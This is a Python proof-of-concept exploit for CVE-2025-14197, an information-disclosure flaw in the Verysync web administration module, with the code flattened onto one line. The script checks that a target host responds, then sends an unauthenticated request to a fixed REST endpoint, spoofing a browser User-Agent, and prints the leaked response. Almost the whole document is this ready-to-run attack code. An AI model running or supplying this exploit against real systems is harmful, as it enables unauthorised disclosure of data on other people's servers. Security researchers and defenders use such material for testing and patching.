CVE-2025-14197 Verysync微力同步Web管理模块信息泄露漏洞

# CVE-2025-14197 PoC - Verysync Information Disclosure # Target: Verysync Web Administration Module # Endpoint: /rest/f/api/resources/f96956469e7be39d import requests import sys def check_verysync_version(target_ip, port=8886): """Check if Verysync is running and get version info""" try: # First check if the web interface is accessible url = f"http://{target_ip}:{port}" response = requests.get(url, timeout=5) print(f"[*] Verysync Web Interface Status: {response.status_code}") return True except requests.exceptions.RequestException as e: print(f"[-] Error connecting to target: {e}") return False def exploit_information_disclosure(target_ip, port=8886): """Exploit CVE-2025-14197 to leak sensitive information""" # The vulnerable endpoint endpoint = "/rest/f/api/resources/f96956469e7be39d" url = f"http://{target_ip}:{port}{endpoint}" print(f"[*] Target: {url}") print(f"[*] Attempting to exploit CVE-2025-14197...") try: # Send unauthenticated request to the vulnerable endpoint headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'application/json, text/plain, */*', 'Accept-Language': 'en-US,en;q=0.9', 'Connection': 'close' } response = requests.get(url, headers=headers, timeout=10) print(f"[*] Response Status Code: {response.status_code}") print(f"[*] Response Headers: {dict(response.headers)}") print(f"[*] Response Body Length: {len(response.text)}") if response.status_code == 200: print("[+] VULNERABLE! Information disclosure endpoint accessible without authentication") print(f"\n[+] Leaked Information:\n{response.text}") # Try to extract and display structured data try: import json data = response.json() print("\n[+] Parsed JSON Response:") print(json.dumps(data, indent=2, ensure_ascii=False)) except: print("\n[+] Raw Response:") print(response.text) return True else: print(f"[-] Endpoint returned status {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-14197.py <target_ip> [port]") print("Example: python cve-2025-14197.py 192.168.1.100 8886") sys.exit(1) target_ip = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 8886 print("="*60) print("CVE-2025-14197 - Verysync Information Disclosure Exploit") print("="*60) # Check if target is alive if check_verysync_version(target_ip, port): # Attempt exploitation exploit_information_disclosure(target_ip, port) if __name__ == "__main__": main()